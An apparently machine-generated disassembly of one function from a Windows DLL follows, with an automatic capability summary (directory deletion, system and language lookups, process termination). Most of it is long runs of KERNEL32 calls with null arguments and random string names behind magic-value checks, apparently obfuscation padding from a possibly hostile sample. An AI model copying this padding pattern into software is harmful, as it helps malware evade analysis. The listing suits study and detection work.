Function at 0x180009160
Capabilities:
Delete directory
Get disk information
Get file attributes
Get system information on windows
Identify system language via api
Read .ini file
Terminate process

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0xe8
movzx eax, byte [0x18007bdd4]
test eax, eax
jne 0x180009823
mov r8d, 0x118
lea rdx, [0x180008af0]
lea rcx, [rsp + 0xa0]
call fcn.18000acc0
lea rcx, [rsp + 0x60]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x60]
call fcn.18000af90
mov eax, dword [0x18007bda4]
mov ecx, 0xa2943f22
cmp rax, rcx
jne 0x18000932f
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.qUvEToqEhddQxrQQtvha
xor edx, edx
lea rcx, str.fgZwdLkzOdUyKGMSVhs
call qword [sym.imp.KERNEL32.dll_GetCalendarInfoEx]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadpoolThreadMaximum]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetDefaultDllDirectories]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.cPxlqLkhtGfUwfMwJbGiNHcvlNw
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileMUIPath]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTimerQueueTimer]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaProcessorNodeEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Wow64EnableWow64FsRedirection]
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
lea rax, str.nihPpLAZnYeeXAxD
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8, str.tSFTgRPzmuMcaCOCmd
xor edx, edx
lea rcx, str.HuqSwNHqAWJOHdjkBYi
call qword [sym.imp.KERNEL32.dll_CompareStringEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIdealProcessorEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitializeSListHead]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDefaultCommConfigW]
mov r8d, 0x129
lea rdx, [0x1800054f0]
lea rcx, [rsp + 0xb0]
call fcn.18000acc0
lea rcx, [rsp + 0x70]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x70]
call fcn.18000af90
mov eax, dword [0x18007bda4]
mov ecx, 0xc9bf7720
cmp rax, rcx
jne 0x180009454
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VerSetConditionMask]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindAtomW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FatalAppExitW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessorSystemCycleTime]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalReAlloc]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryTransactedW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LCIDToLocaleName]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadPreferredUILanguages]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaNodeNumberFromHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_HeapUnlock]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CallbackMayRunLong]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseThreadpoolCleanupGroupMembers]
call qword [sym.imp.KERNEL32.dll_UnregisterApplicationRecoveryCallback]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov r8d, 0x1ee
lea rdx, [0x180002050]
lea rcx, [rsp + 0xc0]
call fcn.18000acc0
lea rcx, [rsp + 0x80]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x80]
call fcn.18000af90
mov byte [0x18007bdd4], 1
cmp dword [0x18007bda4], 0x4a9fad63
jne 0x18000965a
xor edx, edx
lea rcx, str.TECAjAhoUVOTJlSBwhOpaecttgE
call qword [sym.imp.KERNEL32.dll_LoadPackagedLibrary]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseThreadpoolCleanupGroupMembers]
xor r9d, r9d
xor r8d, r8d
lea rdx, str.RuHXlfwJKzlTmbTutXGqb
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStringTypeW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUserGeoID]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitOnceBeginInitialize]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCommConfig]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTimeZoneInformationForYear]
call qword [sym.imp.KERNEL32.dll_FlushProcessWriteBuffers]
mov qword [rsp + 0x38], 0
lea rax, str.CIBLOBnhjJwmqCLrA
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.fDHPmiCpbIHDWqtMYcom
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
xor r9d, r9d
xor r8d, r8d
lea rdx, str.IzWTUIrEpPlAhvUrdZwBwBL
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileMUIInfo]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetQueuedCompletionStatus]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitOnceComplete]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitOnceInitialize]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
call qword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetUserDefaultLocaleName]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCommConfig]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FoldStringW]
call qword [sym.imp.KERNEL32.dll_GetErrorMode]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitializeSListHead]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeleteFiber]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindClose]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
call qword [sym.imp.KERNEL32.dll_CreateTimerQueue]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov dword [rsp + 0x50], 0xe698
mov r8d, 0x157
lea rdx, [0x1800061e0]
lea rcx, [rsp + 0xd0]
call fcn.18000acc0
lea rcx, [rsp + 0x90]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x90]
call fcn.18000aff0
cmp dword [0x18007bda4], 0x13acdc41
jne 0x18000981e
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaProcessorNodeEx]
call qword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaAvailableMemoryNode]
call qword [sym.imp.KERNEL32.dll_GetLargePageMinimum]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumberOfConsoleMouseButtons]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseThreadpool]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionW]
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingNumaW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsDBCSLeadByte]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIdOfThread]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Beep]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetVolumePathNameW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSectionWhenCallbackReturns]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_QueryProcessCycleTime]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumSystemLanguageGroupsW]
call qword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaAvailableMemoryNodeEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileStructW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommConfig]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_BackupRead]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadProfiling]
jmp 0x180009177
mov eax, 1
add rsp, 0xe8
pop rdi
pop rsi
ret